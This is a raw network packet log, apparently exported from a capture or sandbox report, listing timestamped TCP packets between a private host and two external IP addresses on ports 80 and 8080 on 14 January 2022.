Jan 14, 2022 12:29:22.754245043 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.754281998 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.754317999 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.754364967 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.769644976 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.769695044 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.769728899 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.769754887 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.769762039 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.769798040 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.769804955 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.769834042 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.769892931 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.769928932 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.769983053 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.769984007 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.769989967 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.770015955 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770049095 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770081043 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770090103 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.770112038 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770119905 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.770144939 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770178080 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770210028 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770242929 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770251989 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.770273924 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770306110 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770318985 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.770339012 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770369053 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770380020 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.770401955 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770433903 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770466089 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770478010 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.770500898 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770502090 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.770531893 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770564079 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770572901 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.770597935 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770629883 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770657063 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770682096 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770709038 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.770710945 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:22.770756960 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.770900965 CET	49801	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:22.788383007 CET	80	49801	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:25.791347980 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:25.808718920 CET	80	49802	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:25.808850050 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:25.808974981 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:25.809000015 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:25.826179028 CET	80	49802	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:25.928828001 CET	80	49802	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:25.928917885 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:25.929274082 CET	49802	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:25.946476936 CET	80	49802	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:25.955461979 CET	49803	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:25.972842932 CET	80	49803	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:25.972949982 CET	49803	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:25.973072052 CET	49803	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:25.973131895 CET	49803	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:25.990365982 CET	80	49803	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:26.091202021 CET	80	49803	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:26.091336966 CET	49803	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.091485023 CET	49803	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.108618975 CET	80	49803	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:26.121696949 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.139139891 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:26.139250040 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.139378071 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.139409065 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.156718016 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:26.156757116 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:26.266045094 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:26.266170025 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.266215086 CET	49804	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.283598900 CET	80	49804	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:26.333499908 CET	49805	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.350939989 CET	80	49805	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:26.351035118 CET	49805	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.351139069 CET	49805	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.351155996 CET	49805	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.368459940 CET	80	49805	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:26.491075993 CET	80	49805	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:26.491197109 CET	49805	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.491343975 CET	49805	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:26.498339891 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.508552074 CET	80	49805	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:26.627033949 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.627161026 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.627283096 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.754240990 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.755999088 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.756023884 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.756042004 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.756053925 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.756071091 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.756087065 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.756094933 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.756127119 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.756162882 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.756256104 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.756274939 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.756290913 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.756309032 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.756335974 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.756367922 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.888634920 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.888670921 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.888695955 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.888716936 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.888737917 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.888741970 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.888758898 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.888776064 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.888784885 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.888808012 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.888812065 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.888832092 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.888851881 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.888876915 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.888881922 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.888901949 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.888904095 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.888956070 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.889305115 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.889328957 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.889350891 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.889372110 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.889384031 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.889416933 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.889766932 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.889789104 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.889808893 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.889831066 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:26.889834881 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:26.889880896 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.024056911 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.024111032 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.024152040 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.024192095 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.024229050 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.024246931 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.024286985 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.024291039 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.024343014 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.024346113 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.024394989 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.024449110 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.024775982 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.024815083 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.024854898 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.024869919 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.024897099 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.024935007 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.024943113 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.024977922 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025017023 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025023937 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.025053978 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025094032 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025110960 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.025131941 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025178909 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.025202990 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025240898 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025279999 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025317907 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025326014 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.025357962 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025377035 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.025397062 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025435925 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025443077 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.025475025 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025513887 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025535107 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.025583029 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025621891 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025635958 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.025660992 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025700092 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025734901 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.025788069 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025827885 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025841951 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.025892019 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025928974 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.025945902 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.025968075 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.026005983 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.026021004 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.026042938 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.026081085 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.026094913 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.026120901 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.026168108 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.155601025 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.155647039 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.155677080 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.155704021 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.155731916 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.155756950 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.155767918 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.155796051 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.155801058 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.155824900 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.155854940 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.155881882 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.155909061 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.155936003 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.155945063 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.155981064 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.156033993 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.156042099 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.156100988 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.156136990 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.156179905 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.156184912 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.156219006 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.156260967 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.156271935 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.156300068 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.156342030 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.156594992 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.156632900 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.156670094 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.156677961 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.156707048 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157010078 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157046080 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157068014 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.157083988 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157100916 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.157121897 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157159090 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157195091 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157210112 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.157229900 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157237053 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.157267094 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157308102 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157342911 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157362938 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.157381058 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157394886 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.157418966 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157452106 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157468081 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.157486916 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157522917 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157541990 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.157561064 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157617092 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157650948 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157651901 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.157790899 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157828093 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.157829046 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157876968 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.157896042 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157932997 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157965899 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.157995939 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.158003092 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.158041954 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.158077955 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.158092022 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.158119917 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.283333063 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283399105 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283441067 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283482075 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283483028 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.283519030 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283572912 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.283577919 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283638000 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283687115 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.283689976 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283734083 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283771038 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283790112 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.283811092 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283853054 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283881903 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283912897 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283943892 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283982992 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.283989906 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.284022093 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.284060955 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.284086943 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.284100056 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.284104109 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.284138918 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.284852028 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.284895897 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.284931898 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.284950972 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.284965992 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.284974098 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285048962 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285089970 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285109997 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.285124063 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.285125971 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285167933 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285207987 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285244942 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285284042 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285284996 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.285295963 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.285322905 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285393953 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.285507917 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285553932 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285593033 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285614014 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.285631895 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285670996 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285691023 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.285711050 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285749912 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285784960 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.285790920 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285831928 CET	8080	49806	185.7.214.171	192.168.2.4
Jan 14, 2022 12:29:27.285881996 CET	49806	8080	192.168.2.4	185.7.214.171
Jan 14, 2022 12:29:27.285906076 CET	8080	49806	185.7.214.171	192.168.2.4
